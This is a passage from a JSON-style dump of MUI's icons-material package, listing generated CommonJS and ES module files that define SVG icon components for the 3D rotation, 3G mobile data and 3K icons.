.16-.3.11-.57.26-.79.45-.21.19-.38.41-.51.67-.12.26-.18.54-.18.85h1.3q0-.255.09-.45c.09-.195.14-.25.25-.34s.23-.17.38-.22.3-.08.48-.08c.4 0 .7.1.89.31.19.2.29.49.29.86 0 .18-.03.34-.08.49s-.14.27-.25.37-.25.18-.41.24-.36.09-.58.09h-.77v1.03h.77c.22 0 .42.02.6.07s.33.13.45.23c.12.11.22.24.29.4s.1.35.1.57c0 .41-.12.72-.35.93-.23.23-.55.33-.95.33m8.55-5.92c-.32-.33-.7-.59-1.14-.77Q15.17 8 14.36 8H12v8h2.3c.55 0 1.06-.09 1.51-.27s.84-.43 1.16-.76.57-.73.74-1.19c.17-.47.26-.99.26-1.57v-.4c0-.58-.09-1.1-.26-1.57s-.42-.87-.74-1.2m-.39 3.16c0 .42-.05.79-.14 1.13-.1.33-.24.62-.43.85s-.43.41-.71.53q-.435.18-.99.18h-.91V9.12h.97c.72 0 1.27.23 1.64.69.38.46.57 1.12.57 1.99zM12.01 0l-.66.03 3.81 3.81 1.33-1.33c3.27 1.55 5.61 4.72 5.96 8.48h1.5C23.45 4.84 18.3 0 12.01 0\"\n}), 'ThreeDRotationOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThreeDRotationOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.53 21.48C4.26 19.94 1.92 16.76 1.56 13H.06c.51 6.16 5.66 11 11.95 11l.66-.03-3.81-3.81zm.89-6.52c-.19 0-.37-.03-.52-.08-.16-.06-.29-.13-.4-.24-.11-.1-.2-.22-.26-.37-.06-.14-.09-.3-.09-.47h-1.3c0 .36.07.68.21.95s.33.5.56.69c.24.18.51.32.82.41q.45.15.96.15c.37 0 .72-.05 1.03-.15.32-.1.6-.25.83-.44s.42-.43.55-.72.2-.61.2-.97c0-.19-.02-.38-.07-.56s-.12-.35-.23-.51c-.1-.16-.24-.3-.4-.43-.17-.13-.37-.23-.61-.31.2-.09.37-.2.52-.33s.27-.27.37-.42.17-.3.22-.46.07-.32.07-.48q0-.54-.18-.96c-.18-.42-.29-.51-.51-.69-.2-.19-.47-.33-.77-.43C9.11 8.05 8.77 8 8.4 8c-.36 0-.69.05-1 .16-.3.11-.57.26-.79.45-.21.19-.38.41-.51.67-.12.26-.18.54-.18.85h1.3q0-.255.09-.45c.09-.195.14-.25.25-.34s.23-.17.38-.22.3-.08.48-.08c.4 0 .7.1.89.31.19.2.29.49.29.86 0 .18-.03.34-.08.49s-.14.27-.25.37-.25.18-.41.24-.36.09-.58.09h-.77v1.03h.77c.22 0 .42.02.6.07s.33.13.45.23c.12.11.22.24.29.4s.1.35.1.57c0 .41-.12.72-.35.93-.23.23-.55.33-.95.33m8.55-5.92c-.32-.33-.7-.59-1.14-.77Q15.17 8 14.36 8H12v8h2.3c.55 0 1.06-.09 1.51-.27s.84-.43 1.16-.76.57-.73.74-1.19c.17-.47.26-.99.26-1.57v-.4c0-.58-.09-1.1-.26-1.57s-.42-.87-.74-1.2m-.39 3.16c0 .42-.05.79-.14 1.13-.1.33-.24.62-.43.85s-.43.41-.71.53q-.435.18-.99.18h-.91V9.12h.97c.72 0 1.27.23 1.64.69.38.46.57 1.12.57 1.99zM12.01 0l-.66.03 3.81 3.81 1.33-1.33c3.27 1.55 5.61 4.72 5.96 8.48h1.5C23.45 4.84 18.3 0 12.01 0\"\n}), 'ThreeDRotationOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThreeDRotationRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.41 14.96c-.19 0-.37-.03-.52-.08-.16-.06-.29-.13-.4-.24-.11-.1-.2-.22-.26-.37-.06-.14-.09-.3-.09-.47h-1.3c0 .36.07.68.21.95s.33.5.56.69c.24.18.51.32.82.41q.45.15.96.15c.37 0 .72-.05 1.03-.15.32-.1.6-.25.83-.44s.42-.43.55-.72.2-.61.2-.97c0-.19-.02-.38-.07-.56s-.12-.35-.23-.51c-.1-.16-.24-.3-.4-.43-.17-.13-.37-.23-.61-.31.2-.09.37-.2.52-.33s.27-.27.37-.42.17-.3.22-.46.07-.32.07-.48q0-.54-.18-.96c-.18-.42-.29-.51-.51-.69-.2-.19-.47-.33-.77-.43C9.1 8.05 8.76 8 8.39 8c-.36 0-.69.05-1 .16-.3.11-.57.26-.79.45-.21.19-.38.41-.51.67-.12.26-.18.54-.18.85h1.3q0-.255.09-.45c.09-.195.14-.25.25-.34s.23-.17.38-.22.3-.08.48-.08c.4 0 .7.1.89.31.19.2.29.49.29.86 0 .18-.03.34-.08.49s-.14.27-.25.37-.25.18-.41.24-.36.09-.58.09H7.5v1.03h.77c.22 0 .42.02.6.07s.33.13.45.23c.12.11.22.24.29.4s.1.35.1.57c0 .41-.12.72-.35.93-.23.23-.55.33-.95.33m9.3-4.72q-.27-.705-.75-1.2c-.32-.33-.7-.59-1.14-.77-.43-.18-.92-.27-1.46-.27H12v8h2.3c.55 0 1.06-.09 1.51-.27s.84-.43 1.16-.76.57-.73.74-1.19c.17-.47.26-.99.26-1.57v-.4c0-.58-.09-1.1-.26-1.57m-1.13 1.96c0 .42-.05.79-.14 1.13-.1.33-.24.62-.43.85s-.43.41-.71.53q-.435.18-.99.18h-.91V9.11h.97c.72 0 1.27.23 1.64.69.38.46.57 1.12.57 1.99zm-1.43-8.36 1.33-1.33c3.09 1.46 5.34 4.37 5.89 7.86.06.41.44.69.86.62.41-.06.69-.45.62-.86-.6-3.81-2.96-7.01-6.24-8.75C15.94.49 13.78-.13 11.34.02zm-6.3 16.31-1.33 1.33c-3.09-1.46-5.34-4.37-5.89-7.86-.06-.41-.44-.69-.86-.62-.41.06-.69.45-.62.86.6 3.81 2.96 7.01 6.24 8.75 1.67.89 3.83 1.51 6.27 1.36z\"\n}), 'ThreeDRotationRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThreeDRotationRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.41 14.96c-.19 0-.37-.03-.52-.08-.16-.06-.29-.13-.4-.24-.11-.1-.2-.22-.26-.37-.06-.14-.09-.3-.09-.47h-1.3c0 .36.07.68.21.95s.33.5.56.69c.24.18.51.32.82.41q.45.15.96.15c.37 0 .72-.05 1.03-.15.32-.1.6-.25.83-.44s.42-.43.55-.72.2-.61.2-.97c0-.19-.02-.38-.07-.56s-.12-.35-.23-.51c-.1-.16-.24-.3-.4-.43-.17-.13-.37-.23-.61-.31.2-.09.37-.2.52-.33s.27-.27.37-.42.17-.3.22-.46.07-.32.07-.48q0-.54-.18-.96c-.18-.42-.29-.51-.51-.69-.2-.19-.47-.33-.77-.43C9.1 8.05 8.76 8 8.39 8c-.36 0-.69.05-1 .16-.3.11-.57.26-.79.45-.21.19-.38.41-.51.67-.12.26-.18.54-.18.85h1.3q0-.255.09-.45c.09-.195.14-.25.25-.34s.23-.17.38-.22.3-.08.48-.08c.4 0 .7.1.89.31.19.2.29.49.29.86 0 .18-.03.34-.08.49s-.14.27-.25.37-.25.18-.41.24-.36.09-.58.09H7.5v1.03h.77c.22 0 .42.02.6.07s.33.13.45.23c.12.11.22.24.29.4s.1.35.1.57c0 .41-.12.72-.35.93-.23.23-.55.33-.95.33m9.3-4.72q-.27-.705-.75-1.2c-.32-.33-.7-.59-1.14-.77-.43-.18-.92-.27-1.46-.27H12v8h2.3c.55 0 1.06-.09 1.51-.27s.84-.43 1.16-.76.57-.73.74-1.19c.17-.47.26-.99.26-1.57v-.4c0-.58-.09-1.1-.26-1.57m-1.13 1.96c0 .42-.05.79-.14 1.13-.1.33-.24.62-.43.85s-.43.41-.71.53q-.435.18-.99.18h-.91V9.11h.97c.72 0 1.27.23 1.64.69.38.46.57 1.12.57 1.99zm-1.43-8.36 1.33-1.33c3.09 1.46 5.34 4.37 5.89 7.86.06.41.44.69.86.62.41-.06.69-.45.62-.86-.6-3.81-2.96-7.01-6.24-8.75C15.94.49 13.78-.13 11.34.02zm-6.3 16.31-1.33 1.33c-3.09-1.46-5.34-4.37-5.89-7.86-.06-.41-.44-.69-.86-.62-.41.06-.69.45-.62.86.6 3.81 2.96 7.01 6.24 8.75 1.67.89 3.83 1.51 6.27 1.36z\"\n}), 'ThreeDRotationRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThreeDRotationSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.53 21.48C4.26 19.94 1.92 16.76 1.56 13H.06c.51 6.16 5.66 11 11.95 11l.66-.03-3.81-3.81zm.89-6.52c-.19 0-.37-.03-.52-.08-.16-.06-.29-.13-.4-.24-.11-.1-.2-.22-.26-.37-.06-.14-.09-.3-.09-.47h-1.3c0 .36.07.68.21.95s.33.5.56.69c.24.18.51.32.82.41q.45.15.96.15c.37 0 .72-.05 1.03-.15.32-.1.6-.25.83-.44s.42-.43.55-.72.2-.61.2-.97c0-.19-.02-.38-.07-.56s-.12-.35-.23-.51c-.1-.16-.24-.3-.4-.43-.17-.13-.37-.23-.61-.31.2-.09.37-.2.52-.33s.27-.27.37-.42.17-.3.22-.46.07-.32.07-.48q0-.54-.18-.96c-.18-.42-.29-.51-.51-.69-.2-.19-.47-.33-.77-.43C9.11 8.05 8.77 8 8.4 8c-.36 0-.69.05-1 .16-.3.11-.57.26-.79.45-.21.19-.38.41-.51.67-.12.26-.18.54-.18.85h1.3q0-.255.09-.45c.09-.195.14-.25.25-.34s.23-.17.38-.22.3-.08.48-.08c.4 0 .7.1.89.31.19.2.29.49.29.86 0 .18-.03.34-.08.49s-.14.27-.25.37-.25.18-.41.24-.36.09-.58.09h-.77v1.03h.77c.22 0 .42.02.6.07s.33.13.45.23c.12.11.22.24.29.4s.1.35.1.57c0 .41-.12.72-.35.93-.23.23-.55.33-.95.33m8.55-5.92c-.32-.33-.7-.59-1.14-.77Q15.17 8 14.36 8H12v8h2.3c.55 0 1.06-.09 1.51-.27s.84-.43 1.16-.76.57-.73.74-1.19c.17-.47.26-.99.26-1.57v-.4c0-.58-.09-1.1-.26-1.57s-.42-.87-.74-1.2m-.39 3.16c0 .42-.05.79-.14 1.13-.1.33-.24.62-.43.85s-.43.41-.71.53q-.435.18-.99.18h-.91V9.12h.97c.72 0 1.27.23 1.64.69.38.46.57 1.12.57 1.99zM12.01 0l-.66.03 3.81 3.81 1.33-1.33c3.27 1.55 5.61 4.72 5.96 8.48h1.5C23.45 4.84 18.3 0 12.01 0\"\n}), 'ThreeDRotationSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThreeDRotationSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.53 21.48C4.26 19.94 1.92 16.76 1.56 13H.06c.51 6.16 5.66 11 11.95 11l.66-.03-3.81-3.81zm.89-6.52c-.19 0-.37-.03-.52-.08-.16-.06-.29-.13-.4-.24-.11-.1-.2-.22-.26-.37-.06-.14-.09-.3-.09-.47h-1.3c0 .36.07.68.21.95s.33.5.56.69c.24.18.51.32.82.41q.45.15.96.15c.37 0 .72-.05 1.03-.15.32-.1.6-.25.83-.44s.42-.43.55-.72.2-.61.2-.97c0-.19-.02-.38-.07-.56s-.12-.35-.23-.51c-.1-.16-.24-.3-.4-.43-.17-.13-.37-.23-.61-.31.2-.09.37-.2.52-.33s.27-.27.37-.42.17-.3.22-.46.07-.32.07-.48q0-.54-.18-.96c-.18-.42-.29-.51-.51-.69-.2-.19-.47-.33-.77-.43C9.11 8.05 8.77 8 8.4 8c-.36 0-.69.05-1 .16-.3.11-.57.26-.79.45-.21.19-.38.41-.51.67-.12.26-.18.54-.18.85h1.3q0-.255.09-.45c.09-.195.14-.25.25-.34s.23-.17.38-.22.3-.08.48-.08c.4 0 .7.1.89.31.19.2.29.49.29.86 0 .18-.03.34-.08.49s-.14.27-.25.37-.25.18-.41.24-.36.09-.58.09h-.77v1.03h.77c.22 0 .42.02.6.07s.33.13.45.23c.12.11.22.24.29.4s.1.35.1.57c0 .41-.12.72-.35.93-.23.23-.55.33-.95.33m8.55-5.92c-.32-.33-.7-.59-1.14-.77Q15.17 8 14.36 8H12v8h2.3c.55 0 1.06-.09 1.51-.27s.84-.43 1.16-.76.57-.73.74-1.19c.17-.47.26-.99.26-1.57v-.4c0-.58-.09-1.1-.26-1.57s-.42-.87-.74-1.2m-.39 3.16c0 .42-.05.79-.14 1.13-.1.33-.24.62-.43.85s-.43.41-.71.53q-.435.18-.99.18h-.91V9.12h.97c.72 0 1.27.23 1.64.69.38.46.57 1.12.57 1.99zM12.01 0l-.66.03 3.81 3.81 1.33-1.33c3.27 1.55 5.61 4.72 5.96 8.48h1.5C23.45 4.84 18.3 0 12.01 0\"\n}), 'ThreeDRotationSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThreeDRotationTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.53 21.48C4.26 19.94 1.92 16.76 1.56 13H.06c.51 6.16 5.66 11 11.95 11l.66-.03-3.81-3.81zm.89-6.52c-.19 0-.37-.03-.52-.08-.16-.06-.29-.13-.4-.24-.11-.1-.2-.22-.26-.37-.06-.14-.09-.3-.09-.47h-1.3c0 .36.07.68.21.95s.33.5.56.69c.24.18.51.32.82.41q.45.15.96.15c.37 0 .72-.05 1.03-.15.32-.1.6-.25.83-.44s.42-.43.55-.72.2-.61.2-.97c0-.19-.02-.38-.07-.56s-.12-.35-.23-.51c-.1-.16-.24-.3-.4-.43-.17-.13-.37-.23-.61-.31.2-.09.37-.2.52-.33s.27-.27.37-.42.17-.3.22-.46.07-.32.07-.48q0-.54-.18-.96c-.18-.42-.29-.51-.51-.69-.2-.19-.47-.33-.77-.43C9.11 8.05 8.77 8 8.4 8c-.36 0-.69.05-1 .16-.3.11-.57.26-.79.45-.21.19-.38.41-.51.67-.12.26-.18.54-.18.85h1.3q0-.255.09-.45c.09-.195.14-.25.25-.34s.23-.17.38-.22.3-.08.48-.08c.4 0 .7.1.89.31.19.2.29.49.29.86 0 .18-.03.34-.08.49s-.14.27-.25.37-.25.18-.41.24-.36.09-.58.09h-.77v1.03h.77c.22 0 .42.02.6.07s.33.13.45.23c.12.11.22.24.29.4s.1.35.1.57c0 .41-.12.72-.35.93-.23.23-.55.33-.95.33m8.55-5.92c-.32-.33-.7-.59-1.14-.77Q15.17 8 14.36 8H12v8h2.3c.55 0 1.06-.09 1.51-.27s.84-.43 1.16-.76.57-.73.74-1.19c.17-.47.26-.99.26-1.57v-.4c0-.58-.09-1.1-.26-1.57s-.42-.87-.74-1.2m-.39 3.16c0 .42-.05.79-.14 1.13-.1.33-.24.62-.43.85s-.43.41-.71.53q-.435.18-.99.18h-.91V9.12h.97c.72 0 1.27.23 1.64.69.38.46.57 1.12.57 1.99zM12.01 0l-.66.03 3.81 3.81 1.33-1.33c3.27 1.55 5.61 4.72 5.96 8.48h1.5C23.45 4.84 18.3 0 12.01 0\"\n}), 'ThreeDRotationTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThreeDRotationTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.53 21.48C4.26 19.94 1.92 16.76 1.56 13H.06c.51 6.16 5.66 11 11.95 11l.66-.03-3.81-3.81zm.89-6.52c-.19 0-.37-.03-.52-.08-.16-.06-.29-.13-.4-.24-.11-.1-.2-.22-.26-.37-.06-.14-.09-.3-.09-.47h-1.3c0 .36.07.68.21.95s.33.5.56.69c.24.18.51.32.82.41q.45.15.96.15c.37 0 .72-.05 1.03-.15.32-.1.6-.25.83-.44s.42-.43.55-.72.2-.61.2-.97c0-.19-.02-.38-.07-.56s-.12-.35-.23-.51c-.1-.16-.24-.3-.4-.43-.17-.13-.37-.23-.61-.31.2-.09.37-.2.52-.33s.27-.27.37-.42.17-.3.22-.46.07-.32.07-.48q0-.54-.18-.96c-.18-.42-.29-.51-.51-.69-.2-.19-.47-.33-.77-.43C9.11 8.05 8.77 8 8.4 8c-.36 0-.69.05-1 .16-.3.11-.57.26-.79.45-.21.19-.38.41-.51.67-.12.26-.18.54-.18.85h1.3q0-.255.09-.45c.09-.195.14-.25.25-.34s.23-.17.38-.22.3-.08.48-.08c.4 0 .7.1.89.31.19.2.29.49.29.86 0 .18-.03.34-.08.49s-.14.27-.25.37-.25.18-.41.24-.36.09-.58.09h-.77v1.03h.77c.22 0 .42.02.6.07s.33.13.45.23c.12.11.22.24.29.4s.1.35.1.57c0 .41-.12.72-.35.93-.23.23-.55.33-.95.33m8.55-5.92c-.32-.33-.7-.59-1.14-.77Q15.17 8 14.36 8H12v8h2.3c.55 0 1.06-.09 1.51-.27s.84-.43 1.16-.76.57-.73.74-1.19c.17-.47.26-.99.26-1.57v-.4c0-.58-.09-1.1-.26-1.57s-.42-.87-.74-1.2m-.39 3.16c0 .42-.05.79-.14 1.13-.1.33-.24.62-.43.85s-.43.41-.71.53q-.435.18-.99.18h-.91V9.12h.97c.72 0 1.27.23 1.64.69.38.46.57 1.12.57 1.99zM12.01 0l-.66.03 3.81 3.81 1.33-1.33c3.27 1.55 5.61 4.72 5.96 8.48h1.5C23.45 4.84 18.3 0 12.01 0\"\n}), 'ThreeDRotationTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThreeGMobiledata.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 7v2h5v2H4v2h4v2H3v2h5c1.1 0 2-.9 2-2v-1.5c0-.83-.67-1.5-1.5-1.5.83 0 1.5-.67 1.5-1.5V9c0-1.1-.9-2-2-2zm18 4v4c0 1.1-.9 2-2 2h-5c-1.1 0-2-.9-2-2V9c0-1.1.9-2 2-2h5c1.1 0 2 .9 2 2h-7v6h5v-2h-2.5v-2z\"\n}), 'ThreeGMobiledata');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThreeGMobiledata.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 7v2h5v2H4v2h4v2H3v2h5c1.1 0 2-.9 2-2v-1.5c0-.83-.67-1.5-1.5-1.5.83 0 1.5-.67 1.5-1.5V9c0-1.1-.9-2-2-2zm18 4v4c0 1.1-.9 2-2 2h-5c-1.1 0-2-.9-2-2V9c0-1.1.9-2 2-2h5c1.1 0 2 .9 2 2h-7v6h5v-2h-2.5v-2z\"\n}), 'ThreeGMobiledata');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThreeGMobiledataOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 7v2h5v2H4v2h4v2H3v2h5c1.1 0 2-.9 2-2v-1.5c0-.83-.67-1.5-1.5-1.5.83 0 1.5-.67 1.5-1.5V9c0-1.1-.9-2-2-2zm18 4v4c0 1.1-.9 2-2 2h-5c-1.1 0-2-.9-2-2V9c0-1.1.9-2 2-2h5c1.1 0 2 .9 2 2h-7v6h5v-2h-2.5v-2z\"\n}), 'ThreeGMobiledataOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThreeGMobiledataOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 7v2h5v2H4v2h4v2H3v2h5c1.1 0 2-.9 2-2v-1.5c0-.83-.67-1.5-1.5-1.5.83 0 1.5-.67 1.5-1.5V9c0-1.1-.9-2-2-2zm18 4v4c0 1.1-.9 2-2 2h-5c-1.1 0-2-.9-2-2V9c0-1.1.9-2 2-2h5c1.1 0 2 .9 2 2h-7v6h5v-2h-2.5v-2z\"\n}), 'ThreeGMobiledataOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThreeGMobiledataRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 8c0 .55.45 1 1 1h4v2H5c-.55 0-1 .45-1 1s.45 1 1 1h3v2H4c-.55 0-1 .45-1 1s.45 1 1 1h4c1.1 0 2-.9 2-2v-1.5c0-.83-.67-1.5-1.5-1.5.83 0 1.5-.67 1.5-1.5V9c0-1.1-.9-2-2-2H4c-.55 0-1 .45-1 1m18 4v3c0 1.1-.9 2-2 2h-5c-1.1 0-2-.9-2-2V9c0-1.1.9-2 2-2h6c.55 0 1 .45 1 1s-.45 1-1 1h-6v6h5v-2h-1.5c-.55 0-1-.45-1-1s.45-1 1-1H20c.55 0 1 .45 1 1\"\n}), 'ThreeGMobiledataRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThreeGMobiledataRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 8c0 .55.45 1 1 1h4v2H5c-.55 0-1 .45-1 1s.45 1 1 1h3v2H4c-.55 0-1 .45-1 1s.45 1 1 1h4c1.1 0 2-.9 2-2v-1.5c0-.83-.67-1.5-1.5-1.5.83 0 1.5-.67 1.5-1.5V9c0-1.1-.9-2-2-2H4c-.55 0-1 .45-1 1m18 4v3c0 1.1-.9 2-2 2h-5c-1.1 0-2-.9-2-2V9c0-1.1.9-2 2-2h6c.55 0 1 .45 1 1s-.45 1-1 1h-6v6h5v-2h-1.5c-.55 0-1-.45-1-1s.45-1 1-1H20c.55 0 1 .45 1 1\"\n}), 'ThreeGMobiledataRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThreeGMobiledataSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 7v2h5v2H4v2h4v2H3v2h7V7zm18 4v6h-9V7h9v2h-7v6h5v-2h-2.5v-2z\"\n}), 'ThreeGMobiledataSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThreeGMobiledataSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 7v2h5v2H4v2h4v2H3v2h7V7zm18 4v6h-9V7h9v2h-7v6h5v-2h-2.5v-2z\"\n}), 'ThreeGMobiledataSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThreeGMobiledataTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 7v2h5v2H4v2h4v2H3v2h5c1.1 0 2-.9 2-2v-1.5c0-.83-.67-1.5-1.5-1.5.83 0 1.5-.67 1.5-1.5V9c0-1.1-.9-2-2-2zm18 4v4c0 1.1-.9 2-2 2h-5c-1.1 0-2-.9-2-2V9c0-1.1.9-2 2-2h5c1.1 0 2 .9 2 2h-7v6h5v-2h-2.5v-2z\"\n}), 'ThreeGMobiledataTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThreeGMobiledataTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 7v2h5v2H4v2h4v2H3v2h5c1.1 0 2-.9 2-2v-1.5c0-.83-.67-1.5-1.5-1.5.83 0 1.5-.67 1.5-1.5V9c0-1.1-.9-2-2-2zm18 4v4c0 1.1-.9 2-2 2h-5c-1.1 0-2-.9-2-2V9c0-1.1.9-2 2-2h5c1.1 0 2 .9 2 2h-7v6h5v-2h-2.5v-2z\"\n}), 'ThreeGMobiledataTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThreeK.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-8 11c0 .55-.45 1-1 1H6.5v-1.5h3v-1h-2v-1h2v-1h-3V9H10c.55 0 1 .45 1 1zm7 1h-1.75l-1.75-2.25V15H13V9h1.5v2.25L16.25 9H18l-2.25 3z\"\n}), 'ThreeK');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThreeK.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-8 11c0 .55-.45 1-1 1H6.5v-1.5h3v-1h-2v-1h2v-1h-3V9H10c.55 0 1 .45 1 1zm7 1h-1.75l-1.75-2.25V15H13V9h1.5v2.25L16.25 9H18l-2.25 3z\"\n}), 'ThreeK');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThreeKOutlined.js",
